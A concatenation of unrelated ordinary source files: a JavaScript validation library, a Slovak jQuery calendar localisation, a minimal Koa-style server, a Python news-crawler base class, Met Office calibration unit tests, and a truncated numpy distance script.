throw new Error( 'Should give a valid mapping object to Constraint', err, data );
}
}
};
Constraint.prototype = {
constructor: Constraint,
isRequired: function( property, group, deepRequired ) {
var constraint = this.get( property );
var constraints = _isArray( constraint ) ? constraint : [constraint];
for ( var i = constraints.length - 1; i >= 0; i-- ) {
constraint = constraints[i];
if ( 'Required' === constraint.__class__ ) {
if ( constraints[i].requiresValidation( group ) ) {
return true;
}
}
if ( deepRequired ) {
if ( 'Collection' === constraint.__class__ ) {
constraint = constraint.constraint;
}
if ( constraint instanceof Constraint ) {
// ensure constraint of collection gets the same deepRequired option
constraint.options.deepRequired = deepRequired;
for ( var node in constraint.nodes ) {
if ( constraint.isRequired( node, group, deepRequired ) ) {
return true;
}
}
}
}
}
return false;
},
check: function ( object, group ) {
var result, failures = {};
// check all constraint nodes.
for ( var property in this.nodes ) {
var isRequired = this.isRequired( property, group, this.options.deepRequired );
if ( ! this.has( property, object ) && ! this.options.strict && ! isRequired ) {
continue;
}
try {
if (! this.has( property, this.options.strict || isRequired ? object : undefined ) ) {
// we trigger here a HaveProperty Assert violation to have uniform Violation object in the end
new Assert().HaveProperty( property ).validate( object );
}
result = this._check( property, object[ property ], group );
// check returned an array of Violations or an object mapping Violations
if ( ( _isArray( result ) && result.length > 0 ) || ( !_isArray( result ) && !_isEmptyObject( result ) ) ) {
failures[ property ] = result;
}
} catch ( violation ) {
failures[ property ] = violation;
}
}
return _isEmptyObject(failures) ? true : failures;
},
add: function ( node, object ) {
if ( object instanceof Assert || ( _isArray( object ) && object[ 0 ] instanceof Assert ) ) {
this.nodes[ node ] = object;
return this;
}
if ( 'object' === typeof object && !_isArray( object ) ) {
this.nodes[ node ] = object instanceof Constraint ? object : new Constraint( object, this.options );
return this;
}
throw new Error( 'Should give an Assert, an Asserts array, a Constraint', object );
},
has: function ( node, nodes ) {
nodes = 'undefined' !== typeof nodes ? nodes : this.nodes;
return 'undefined' !== typeof nodes[ node ];
},
get: function ( node, placeholder ) {
return this.has( node ) ? this.nodes[ node ] : placeholder || null;
},
remove: function ( node ) {
var _nodes = [];
for ( var i in this.nodes )
if ( i !== node )
_nodes[ i ] = this.nodes[ i ];
this.nodes = _nodes;
return this;
},
_bootstrap: function ( data ) {
if ( data instanceof Constraint )
return this.nodes = data.nodes;
for ( var node in data )
this.add( node, data[ node ] );
},
_check: function ( node, value, group ) {
// Assert
if ( this.nodes[ node ] instanceof Assert )
return this._checkAsserts( value, [ this.nodes[ node ] ], group );
// Asserts
if ( _isArray( this.nodes[ node ] ) )
return this._checkAsserts( value, this.nodes[ node ], group );
// Constraint -> check api
if ( this.nodes[ node ] instanceof Constraint )
return this.nodes[ node ].check( value, group );
throw new Error( 'Invalid node', this.nodes[ node ] );
},
_checkAsserts: function ( value, asserts, group ) {
var result, failures = [];
for ( var i = 0; i < asserts.length; i++ ) {
result = asserts[ i ].check( value, group );
if ( 'undefined' !== typeof result && true !== result )
failures.push( result );
// Some asserts (Collection for example) could return an object
// if ( result && ! ( result instanceof Violation ) )
// return result;
//
// // Vast assert majority return Violation
// if ( result instanceof Violation )
// failures.push( result );
}
return failures;
}
};
/**
* Violation
*/
var Violation = function ( assert, value, violation ) {
this.__class__ = 'Violation';
if ( ! ( assert instanceof Assert ) )
throw new Error( 'Should give an assertion implementing the Assert interface' );
this.assert = assert;
this.value = value;
if ( 'undefined' !== typeof violation )
this.violation = violation;
};
Violation.prototype = {
show: function () {
var show = {
assert: this.assert.__class__,
value: this.value
};
if ( this.violation )
show.violation = this.violation;
return show;
},
__toString: function () {
if ( 'undefined' !== typeof this.violation )
this.violation = '", ' + this.getViolation().constraint + ' expected was ' + this.getViolation().expected;
return this.assert.__class__ + ' assert failed for "' + this.value + this.violation || '';
},
getViolation: function () {
var constraint, expected;
for ( constraint in this.violation )
expected = this.violation[ constraint ];
return { constraint: constraint, expected: expected };
}
};
/**
* Assert
*/
var Assert = function ( group ) {
this.__class__ = 'Assert';
this.__parentClass__ = this.__class__;
this.groups = [];
if ( 'undefined' !== typeof group )
this.addGroup( group );
};
/**
* Extend Assert
*/
Assert.extend = function ( asserts ) {
if ( 'object' !== typeof asserts )
throw new Error( 'Invalid parameter: `asserts` should be an object' );
if ( 0 === Object.keys( asserts ).length )
throw new Error( 'Invalid parameter: `asserts` should have at least one property' );
// Inherit from Assert.
function Extended() {
Assert.apply( this, arguments );
}
Extended.prototype = Object.create( Assert.prototype );
Extended.prototype.constructor = Extended;
// Extend with custom asserts.
for ( var key in asserts ) {
if ( 'function' !== typeof asserts[ key ] )
throw new Error( 'The extension assert must be a function' );
Extended.prototype[ key ] = asserts[ key ];
}
return Extended;
};
Assert.prototype = {
construct: Assert,
requiresValidation: function ( group ) {
if ( group && !this.hasGroup( group ) )
return false;
if ( !group && this.hasGroups() )
return false;
return true;
},
check: function ( value, group ) {
if ( !this.requiresValidation( group ) )
return true;
try {
return this.validate( value, group );
} catch ( violation ) {
return violation;
}
},
hasGroup: function ( group ) {
if ( _isArray( group ) )
return this.hasOneOf( group );
// All Asserts respond to "Any" group
if ( 'Any' === group )
return true;
// Asserts with no group also respond to "Default" group. Else return false
if ( !this.hasGroups() )
return 'Default' === group;
return -1 !== this.groups.indexOf( group );
},
hasOneOf: function ( groups ) {
for ( var i = 0; i < groups.length; i++ )
if ( this.hasGroup( groups[ i ] ) )
return true;
return false;
},
hasGroups: function () {
return this.groups.length > 0;
},
addGroup: function ( group ) {
if ( _isArray( group ) )
return this.addGroups( group );
if ( !this.hasGroup( group ) )
this.groups.push( group );
return this;
},
removeGroup: function ( group ) {
var _groups = [];
for ( var i = 0; i < this.groups.length; i++ )
if ( group !== this.groups[ i ] )
_groups.push( this.groups[ i ] );
this.groups = _groups;
return this;
},
addGroups: function ( groups ) {
for ( var i = 0; i < groups.length; i++ )
this.addGroup( groups[ i ] );
return this;
},
/**
* Asserts definitions
*/
HaveProperty: function ( node ) {
this.__class__ = 'HaveProperty';
this.node = node;
this.validate = function ( object ) {
if ( 'undefined' === typeof object[ this.node ] )
throw new Violation( this, object, { value: this.node } );
return true;
};
return this;
},
Blank: function () {
this.__class__ = 'Blank';
this.validate = function ( value ) {
if ( 'string' !== typeof value )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_string } );
if ( '' !== value.replace( /^\s+/g, '' ).replace( /\s+$/g, '' ) )
throw new Violation( this, value );
return true;
};
return this;
},
Callback: function ( fn ) {
this.__class__ = 'Callback';
this.arguments = Array.prototype.slice.call( arguments );
if ( 1 === this.arguments.length )
this.arguments = [];
else
this.arguments.splice( 0, 1 );
if ( 'function' !== typeof fn )
throw new Error( 'Callback must be instanciated with a function' );
this.fn = fn;
this.validate = function ( value ) {
var result;
try {
result = this.fn.apply( this, [ value ].concat( this.arguments ) );
}
catch(err) {
throw new Violation( this, value, { error: err } );
}
if ( true !== result )
throw new Violation( this, value, { result: result } );
return true;
};
return this;
},
Choice: function ( list ) {
this.__class__ = 'Choice';
if ( !_isArray( list ) && 'function' !== typeof list )
throw new Error( 'Choice must be instanciated with an array or a function' );
this.list = list;
this.validate = function ( value ) {
var list = 'function' === typeof this.list ? this.list() : this.list;
for ( var i = 0; i < list.length; i++ )
if ( value === list[ i ] )
return true;
throw new Violation( this, value, { choices: list } );
};
return this;
},
Collection: function ( assertOrConstraint ) {
this.__class__ = 'Collection';
this.constraint = 'undefined' !== typeof assertOrConstraint ? (assertOrConstraint instanceof Assert ? assertOrConstraint : new Constraint( assertOrConstraint )) : false;
this.validate = function ( collection, group ) {
var result, validator = new Validator(), count = 0, failures = {}, groups = this.groups.length ? this.groups : group;
if ( !_isArray( collection ) )
throw new Violation( this, collection, { value: Validator.errorCode.must_be_an_array } );
for ( var i = 0; i < collection.length; i++ ) {
result = this.constraint ?
validator.validate( collection[ i ], this.constraint, groups ) :
validator.validate( collection[ i ], groups );
if ( !_isEmptyObject( result ) )
failures[ count ] = result;
count++;
}
return !_isEmptyObject( failures ) ? failures : true;
};
return this;
},
Count: function ( count ) {
this.__class__ = 'Count';
this.count = count;
this.validate = function ( array ) {
if ( !_isArray( array ) )
throw new Violation( this, array, { value: Validator.errorCode.must_be_an_array } );
var count = 'function' === typeof this.count ? this.count( array ) : this.count;
if ( isNaN( Number( count ) ) )
throw new Error( 'Count must be a valid interger', count );
if ( count !== array.length )
throw new Violation( this, array, { count: count } );
return true;
};
return this;
},
Email: function () {
this.__class__ = 'Email';
this.validate = function ( value ) {
var regExp = /^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))$/i;
if ( 'string' !== typeof value )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_string } );
if ( !regExp.test( value ) )
throw new Violation( this, value );
return true;
};
return this;
},
EqualTo: function ( reference ) {
this.__class__ = 'EqualTo';
if ( 'undefined' === typeof reference )
throw new Error( 'EqualTo must be instanciated with a value or a function' );
this.reference = reference;
this.validate = function ( value ) {
var reference = 'function' === typeof this.reference ? this.reference( value ) : this.reference;
if ( reference !== value )
throw new Violation( this, value, { value: reference } );
return true;
};
return this;
},
GreaterThan: function ( threshold ) {
this.__class__ = 'GreaterThan';
if ( 'undefined' === typeof threshold )
throw new Error( 'Should give a threshold value' );
this.threshold = threshold;
this.validate = function ( value ) {
if ( '' === value || isNaN( Number( value ) ) )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_number } );
if ( this.threshold >= value )
throw new Violation( this, value, { threshold: this.threshold } );
return true;
};
return this;
},
GreaterThanOrEqual: function ( threshold ) {
this.__class__ = 'GreaterThanOrEqual';
if ( 'undefined' === typeof threshold )
throw new Error( 'Should give a threshold value' );
this.threshold = threshold;
this.validate = function ( value ) {
if ( '' === value || isNaN( Number( value ) ) )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_number } );
if ( this.threshold > value )
throw new Violation( this, value, { threshold: this.threshold } );
return true;
};
return this;
},
InstanceOf: function ( classRef ) {
this.__class__ = 'InstanceOf';
if ( 'undefined' === typeof classRef )
throw new Error( 'InstanceOf must be instanciated with a value' );
this.classRef = classRef;
this.validate = function ( value ) {
if ( true !== (value instanceof this.classRef) )
throw new Violation( this, value, { classRef: this.classRef } );
return true;
};
return this;
},
IsString: function () {
this.__class__ = 'IsString';
this.validate = function ( value ) {
if ( !_isString( value ) )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_string } );
return true;
};
return this;
},
Length: function ( boundaries ) {
this.__class__ = 'Length';
if ( !boundaries.min && !boundaries.max )
throw new Error( 'Length assert must be instanciated with a { min: x, max: y } object' );
this.min = parseInt(boundaries.min);
this.max = parseInt(boundaries.max);
this.validate = function ( value ) {
if ( 'string' !== typeof value && !_isArray( value ) )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_string_or_array } );
if ( 'undefined' !== typeof this.min && this.min === this.max && value.length !== this.min )
throw new Violation( this, value, { min: this.min, max: this.max } );
if ( 'undefined' !== typeof this.max && value.length > this.max )
throw new Violation( this, value, { max: this.max } );
if ( 'undefined' !== typeof this.min && value.length < this.min )
throw new Violation( this, value, { min: this.min } );
return true;
};
return this;
},
LessThan: function ( threshold ) {
this.__class__ = 'LessThan';
if ( 'undefined' === typeof threshold )
throw new Error( 'Should give a threshold value' );
this.threshold = threshold;
this.validate = function ( value ) {
if ( '' === value || isNaN( Number( value ) ) )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_number } );
if ( this.threshold <= value )
throw new Violation( this, value, { threshold: this.threshold } );
return true;
};
return this;
},
LessThanOrEqual: function ( threshold ) {
this.__class__ = 'LessThanOrEqual';
if ( 'undefined' === typeof threshold )
throw new Error( 'Should give a threshold value' );
this.threshold = threshold;
this.validate = function ( value ) {
if ( '' === value || isNaN( Number( value ) ) )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_number } );
if ( this.threshold < value )
throw new Violation( this, value, { threshold: this.threshold } );
return true;
};
return this;
},
NotNull: function () {
this.__class__ = 'NotNull';
this.validate = function ( value ) {
if ( null === value || 'undefined' === typeof value )
throw new Violation( this, value );
return true;
};
return this;
},
NotBlank: function () {
this.__class__ = 'NotBlank';
this.validate = function ( value ) {
if ( 'string' !== typeof value )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_string } );
if ( '' === value.replace( /^\s+/g, '' ).replace( /\s+$/g, '' ) )
throw new Violation( this, value );
return true;
};
return this;
},
NotEqualTo: function ( reference ) {
this.__class__ = 'NotEqualTo';
if ( 'undefined' === typeof reference )
throw new Error( 'NotEqualTo must be instanciated with a value or a function' );
this.reference = reference;
this.validate = function ( value ) {
var reference = 'function' === typeof this.reference ? this.reference( value ) : this.reference;
if ( reference === value )
throw new Violation( this, value, { value: reference } );
return true;
};
return this;
},
Null: function () {
this.__class__ = 'Null';
this.validate = function ( value ) {
if ( null !== value )
throw new Violation( this, value );
return true;
};
return this;
},
Range: function ( min, max ) {
this.__class__ = 'Range';
if ( 'undefined' === typeof min || 'undefined' === typeof max )
throw new Error( 'Range assert expects min and max values' );
this.min = min;
this.max = max;
this.validate = function ( value ) {
try {
// validate strings and objects with their Length
if ( ( 'string' === typeof value && isNaN( Number( value ) ) ) || _isArray( value ) )
new Assert().Length( { min: this.min, max: this.max } ).validate( value );
// validate numbers with their value
else
new Assert().GreaterThanOrEqual( this.min ).validate( value ) && new Assert().LessThanOrEqual( this.max ).validate( value );
return true;
} catch ( violation ) {
throw new Violation( this, value, violation.violation );
}
return true;
};
return this;
},
Regexp: function ( regexp, flag ) {
this.__class__ = 'Regexp';
if ( 'undefined' === typeof regexp )
throw new Error( 'You must give a regexp' );
this.regexp = regexp;
this.flag = flag;
this.validate = function ( value ) {
if ( 'string' !== typeof value )
throw new Violation( this, value, { value: Validator.errorCode.must_be_a_string } );
if ( !new RegExp( this.regexp, this.flag ).test( value ) )
throw new Violation( this, value, { regexp: this.regexp, flag: this.flag } );
return true;
};
return this;
},
Required: function () {
this.__class__ = 'Required';
this.validate = function ( value ) {
if ( 'undefined' === typeof value )
throw new Violation( this, value );
try {
if ( 'string' === typeof value )
new Assert().NotNull().validate( value ) && new Assert().NotBlank().validate( value );
else if ( true === _isArray( value ) )
new Assert().Length( { min: 1 } ).validate( value );
} catch ( violation ) {
throw new Violation( this, value );
}
return true;
};
return this;
},
// Unique() or Unique ( { key: foo } )
Unique: function ( object ) {
this.__class__ = 'Unique';
if ( 'object' === typeof object )
this.key = object.key;
this.validate = function ( array ) {
var value, store = [];
if ( !_isArray( array ) )
throw new Violation( this, array, { value: Validator.errorCode.must_be_an_array } );
for ( var i = 0; i < array.length; i++ ) {
value = 'object' === typeof array[ i ] ? array[ i ][ this.key ] : array[ i ];
if ( 'undefined' === typeof value )
continue;
if ( -1 !== store.indexOf( value ) )
throw new Violation( this, array, { value: value } );
store.push( value );
}
return true;
};
return this;
}
};
// expose to the world these awesome classes
exports.Assert = Assert;
exports.Validator = Validator;
exports.Violation = Violation;
exports.Constraint = Constraint;
/**
* Some useful object prototypes / functions here
*/
// IE8<= compatibility
// https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Array/indexOf
if (!Array.prototype.indexOf)
Array.prototype.indexOf = function (searchElement /*, fromIndex */ ) {
"use strict";
if (this === null) {
throw new TypeError();
}
var t = Object(this);
var len = t.length >>> 0;
if (len === 0) {
return -1;
}
var n = 0;
if (arguments.length > 1) {
n = Number(arguments[1]);
if (n != n) { // shortcut for verifying if it's NaN
n = 0;
} else if (n !== 0 && n != Infinity && n != -Infinity) {
n = (n > 0 || -1) * Math.floor(Math.abs(n));
}
}
if (n >= len) {
return -1;
}
var k = n >= 0 ? n : Math.max(len - Math.abs(n), 0);
for (; k < len; k++) {
if (k in t && t[k] === searchElement) {
return k;
}
}
return -1;
};
// Test if object is empty, useful for Constraint violations check
var _isEmptyObject = function ( obj ) {
for ( var property in obj )
return false;
return true;
};
var _isArray = function ( obj ) {
return Object.prototype.toString.call( obj ) === '[object Array]';
};
var _isString = function (str ) {
return Object.prototype.toString.call( str ) === '[object String]';
};
// AMD export
if ( typeof define === 'function' && define.amd ) {
define( function() {
return exports;
} );
// commonjs export
} else if ( typeof module !== 'undefined' && module.exports ) {
module.exports = exports;
// browser
} else {
window[ 'undefined' !== typeof validatorjs_ns ? validatorjs_ns : 'Validator' ] = exports;
}
} )( );
|
export var __N_SSG=true;export default function Home(){return __jsx("div",null)}
|
/*
** NOTE: This file is generated by Gulp and should not be edited directly!
** Any changes made directly to this file will be overwritten next time its asset group is processed by Gulp.
*/
/* http://keith-wood.name/calendars.html
Slovak localisation for Gregorian/Julian calendars for jQuery.
Written by Vojtech Rinik (vojto@hmm.sk). */
(function($) {
$.calendars.calendars.gregorian.prototype.regionalOptions['sk'] = {
name: 'Gregorian',
epochs: ['BCE', 'CE'],
monthNames: ['Január','Február','Marec','Apríl','Máj','Jún',
'Júl','August','September','Október','November','December'],
monthNamesShort: ['Jan','Feb','Mar','Apr','Máj','Jún',
'Júl','Aug','Sep','Okt','Nov','Dec'],
dayNames: ['Nedel\'a','Pondelok','Utorok','Streda','Štvrtok','Piatok','Sobota'],
dayNamesShort: ['Ned','Pon','Uto','Str','Štv','Pia','Sob'],
dayNamesMin: ['Ne','Po','Ut','St','Št','Pia','So'],
dateFormat: 'dd.mm.yyyy',
firstDay: 0,
isRTL: false
};
if ($.calendars.calendars.julian) {
$.calendars.calendars.julian.prototype.regionalOptions['sk'] =
$.calendars.calendars.gregorian.prototype.regionalOptions['sk'];
}
})(jQuery);
|
const http = require('http')
const Context = require('./Context')
const compose = require('./utils/compose')
module.exports = class Koa {
constructor() {
this.middlewares = []
}
listen(port = 3000) {
const server = http.createServer((req, res) => {
const context = new Context(req, res)
const chain = compose(this.middlewares)
chain(context)
.then(() => this.handleResponse(context))
.catch(console.error)
})
return server.listen(port)
}
handleResponse(ctx) {
const { body, res } = ctx
res.setHeader('Content-type', 'application/json')
res.end(typeof body === 'string' ? body : JSON.stringify(body))
}
use(middleware) {
this.middlewares.push(middleware)
return this
}
}
|
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import logging
import re
import traceback
from abc import abstractmethod, ABC
from typing import List
from bs4 import BeautifulSoup
from spidery.spider.engine import BaseCrawl
from spidery.spider.resource import DataNews, DataArticle
class NewsEngine(BaseCrawl, ABC):
_me = __file__
def __init__(self, **kwargs):
super(NewsEngine, self).__init__(**kwargs)
@staticmethod
def _get_all_images(soup: BeautifulSoup) -> List:
results = []
try:
attrs = ['src', 'data-src', 'data-srcset']
datas = soup.find_all('img') or []
added = set()
for i, im in enumerate(datas):
default_text = im.get('alt') or im.text
parent = im.parent
if not default_text and parent:
default_text = parent.string
text = str(default_text).replace('\n', '').strip()
for atr in attrs:
if not im.get(atr):
continue
ims = str(im.get(atr)).split()
for img in ims:
if re.search(r"https?://([A-Za-z_0-9.-]+)(\/[^\s]+)?", img, re.IGNORECASE) and img not in added:
image = re.sub(r"(,(w_\d+|ar_\d+:\d+)|\/w\d+$)", "", str(img).strip(), 0,
re.IGNORECASE | re.VERBOSE)
added.add(img)
results.append((image, text))
except Exception as error:
logging.error(
''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__)))
finally:
return results
@abstractmethod
def get_detail(self, data: DataNews) -> DataArticle:
pass
@abstractmethod
def get_latest(self) -> List[DataNews]:
pass
|
# -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# (C) British Crown Copyright 2017-2020 Met Office.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
"""Unit tests for the AggregateReliabilityCalibrationTables plugin."""
import unittest
import numpy as np
from numpy.testing import assert_array_equal
from improver.calibration.reliability_calibration import (
AggregateReliabilityCalibrationTables as Plugin,
)
from improver.calibration.reliability_calibration import (
ConstructReliabilityCalibrationTables as CalPlugin,
)
from improver_tests.calibration.reliability_calibration.test_ConstructReliabilityCalibrationTables import (
Test_Setup,
)
class Test_Aggregation(Test_Setup):
"""Test class for the Test_AggregateReliabilityCalibrationTables tests,
setting up cubes to use as inputs."""
def setUp(self):
"""Create reliability calibration tables for testing."""
super().setUp()
reliability_cube_format = CalPlugin()._create_reliability_table_cube(
self.forecasts, self.expected_threshold_coord
)
self.reliability_cube = reliability_cube_format.copy(data=self.expected_table)
self.different_frt = self.reliability_cube.copy()
new_frt = self.different_frt.coord("forecast_reference_time")
new_frt.points = new_frt.points + 48 * 3600
new_frt.bounds = new_frt.bounds + 48 * 3600
self.masked_reliability_cube = self.reliability_cube.copy()
masked_array = np.zeros(self.reliability_cube.shape, dtype=bool)
masked_array[:, :, 0, :2] = True
self.masked_reliability_cube.data = np.ma.array(
self.reliability_cube.data, mask=masked_array
)
self.masked_different_frt = self.different_frt.copy()
masked_array = np.zeros(self.different_frt.shape, dtype=bool)
masked_array[:, :, :2, 0] = True
self.masked_different_frt.data = np.ma.array(
self.different_frt.data, mask=masked_array
)
self.overlapping_frt = self.reliability_cube.copy()
new_frt = self.overlapping_frt.coord("forecast_reference_time")
new_frt.points = new_frt.points + 6 * 3600
new_frt.bounds = new_frt.bounds + 6 * 3600
self.lat_lon_collapse = np.array(
[
[0.0, 0.0, 1.0, 2.0, 1.0],
[0.0, 0.375, 1.5, 1.625, 1.0],
[1.0, 2.0, 3.0, 2.0, 1.0],
]
)
class Test__repr__(unittest.TestCase):
"""Test the __repr__ method."""
def test_basic(self):
"""Test repr is as expected."""
self.assertEqual(str(Plugin()), "<AggregateReliabilityCalibrationTables>")
class Test__check_frt_coord(Test_Aggregation):
"""Test the _check_frt_coord method."""
def test_valid_bounds(self):
"""Test that no exception is raised if the input cubes have forecast
reference time bounds that do not overlap."""
plugin = Plugin()
plugin._check_frt_coord([self.reliability_cube, self.different_frt])
def test_invalid_bounds(self):
"""Test that an exception is raised if the input cubes have forecast
reference time bounds that overlap."""
plugin = Plugin()
msg = "Reliability calibration tables have overlapping"
with self.assertRaisesRegex(ValueError, msg):
plugin._check_frt_coord([self.reliability_cube, self.overlapping_frt])
class Test_process(Test_Aggregation):
"""Test the process method."""
def test_aggregating_multiple_cubes(self):
"""Test of aggregating two cubes without any additional coordinate
collapsing."""
frt = "forecast_reference_time"
expected_points = self.different_frt.coord(frt).points
expected_bounds = [
[
self.reliability_cube.coord(frt).bounds[0][0],
self.different_frt.coord(frt).bounds[-1][1],
]
]
plugin = Plugin()
result = plugin.process([self.reliability_cube, self.different_frt])
assert_array_equal(result.data, self.expected_table * 2)
assert_array_equal(result.shape, (3, 5, 3, 3))
self.assertEqual(result.coord(frt).points, expected_points)
assert_array_equal(result.coord(frt).bounds, expected_bounds)
def test_aggregating_cubes_with_overlapping_frt(self):
"""Test that attempting to aggregate reliability calibration tables
with overlapping forecast reference time bounds raises an exception.
The presence of overlapping forecast reference time bounds indicates
that the same forecast data has contributed to both tables, thus
aggregating them would double count these contributions."""
plugin = Plugin()
msg = "Reliability calibration tables have overlapping"
with self.assertRaisesRegex(ValueError, msg):
plugin.process([self.reliability_cube, self.overlapping_frt])
def test_aggregating_over_single_cube_coordinates(self):
"""Test of aggregating over coordinates of a single cube. In this
instance the latitude and longitude coordinates are collapsed."""
frt = "forecast_reference_time"
expected_points = self.reliability_cube.coord(frt).points
expected_bounds = self.reliability_cube.coord(frt).bounds
plugin = Plugin()
result = plugin.process(
[self.reliability_cube], coordinates=["latitude", "longitude"]
)
assert_array_equal(result.data, self.lat_lon_collapse)
self.assertEqual(result.coord(frt).points, expected_points)
assert_array_equal(result.coord(frt).bounds, expected_bounds)
def test_aggregating_over_cubes_and_coordinates(self):
"""Test of aggregating over coordinates and cubes in a single call. In
this instance the latitude and longitude coordinates are collapsed and
the values from two input cube combined."""
frt = "forecast_reference_time"
expected_points = self.different_frt.coord(frt).points
expected_bounds = [
[
self.reliability_cube.coord(frt).bounds[0][0],
self.different_frt.coord(frt).bounds[-1][1],
]
]
plugin = Plugin()
result = plugin.process(
[self.reliability_cube, self.different_frt],
coordinates=["latitude", "longitude"],
)
assert_array_equal(result.data, self.lat_lon_collapse * 2)
self.assertEqual(result.coord(frt).points, expected_points)
assert_array_equal(result.coord(frt).bounds, expected_bounds)
def test_aggregating_over_masked_cubes_and_coordinates(self):
"""Test of aggregating over coordinates and cubes in a single call
using a masked reliability table. In this instance the latitude and
longitude coordinates are collapsed and the values from two input cube
combined."""
frt = "forecast_reference_time"
expected_points = self.masked_different_frt.coord(frt).points
expected_bounds = [
[
self.masked_reliability_cube.coord(frt).bounds[0][0],
self.masked_different_frt.coord(frt).bounds[-1][1],
]
]
expected_result = np.array(
[
[0.0, 0.0, 2.0, 4.0, 2.0],
[0.0, 0.625, 2.625, 3.25, 2.0],
[0.0, 3.0, 5.0, 4.0, 2.0],
]
)
plugin = Plugin()
result = plugin.process(
[self.masked_reliability_cube, self.masked_different_frt],
coordinates=["latitude", "longitude"],
)
self.assertIsInstance(result.data, np.ma.MaskedArray)
assert_array_equal(result.data, expected_result)
self.assertEqual(result.coord(frt).points, expected_points)
assert_array_equal(result.coord(frt).bounds, expected_bounds)
def test_single_cube(self):
"""Test the plugin returns an unaltered cube if only one is passed in
and no coordinates are given."""
plugin = Plugin()
expected = self.reliability_cube.copy()
result = plugin.process([self.reliability_cube])
self.assertEqual(result, expected)
if __name__ == "__main__":
unittest.main()
|
import numpy as np
import math
arr = np.loadtxt(open("csv files/matlab.csv","rb"),delimiter=",",skiprows=0)
data = np.loadtxt(open("csv files/input_tindex.csv","rb"),delimiter=",",skiprows=0)
array = np.loadtxt(open("csv files/groupin.csv","rb"),delimiter=",",skiprows=0)
def fsldiff(x):
obstacle = [[894,586],[1652,481],[1800,767],[1540,269],[1420,125],[247,447],[89,791],[69,466]]
dist1 = 10000
for line in range(len(obstacle)):
if math.hypot(x[0]-obstacle[line][0], x[1]-obstacle[line][1]) < dist1:
dist1 = math.hypot(x[0]-obstacle[line][0], x[1]-obstacle[line][1])
fraction = -1/dist1
return fraction
def distanceAlpha(x,line):
for l in data:
if l[3] == line[3] and l[2] == line[2]+20:
dist2 = (math.hypot(x[0]-line[0],x[1]-line[1])+math.hypot(x[0]-l[0],x[1]-l[1]))**2-math.hypot(line[0]-l[0],line[1]-l[1])**2
else:
dist2 = 4*(math.hypot(x[0]-line[0],x[1]-line[1])**2)
return dist2
def fmpdiff(x):
fractsum=0
for line in data:
if line[2]==x[2]:
dist2=distanceAlpha(x,line)
fraction = -1/dist2 if dist2 !=0 else 0
fractsum+=fraction
return fractsum
def distanceBeta(x,t):
dist4=10000
ndarray=np.array([element for element in arr if element[3] == t])
for l in ndarray:
if math.hypot(x[0]-l[0], x[1]-l[1]) < dist4:
dist4 = math.hypot(x[0]-l[0], x[1]-l[1])
return dist4
def fsgdiff3(x,theta4):
fractsum1=0
for arr in array:
if arr[1] != (330 or 9990 or 20160 or 50090 or 70160):
if x[2] in range(int(arr[0]),int(arr[1])+1):
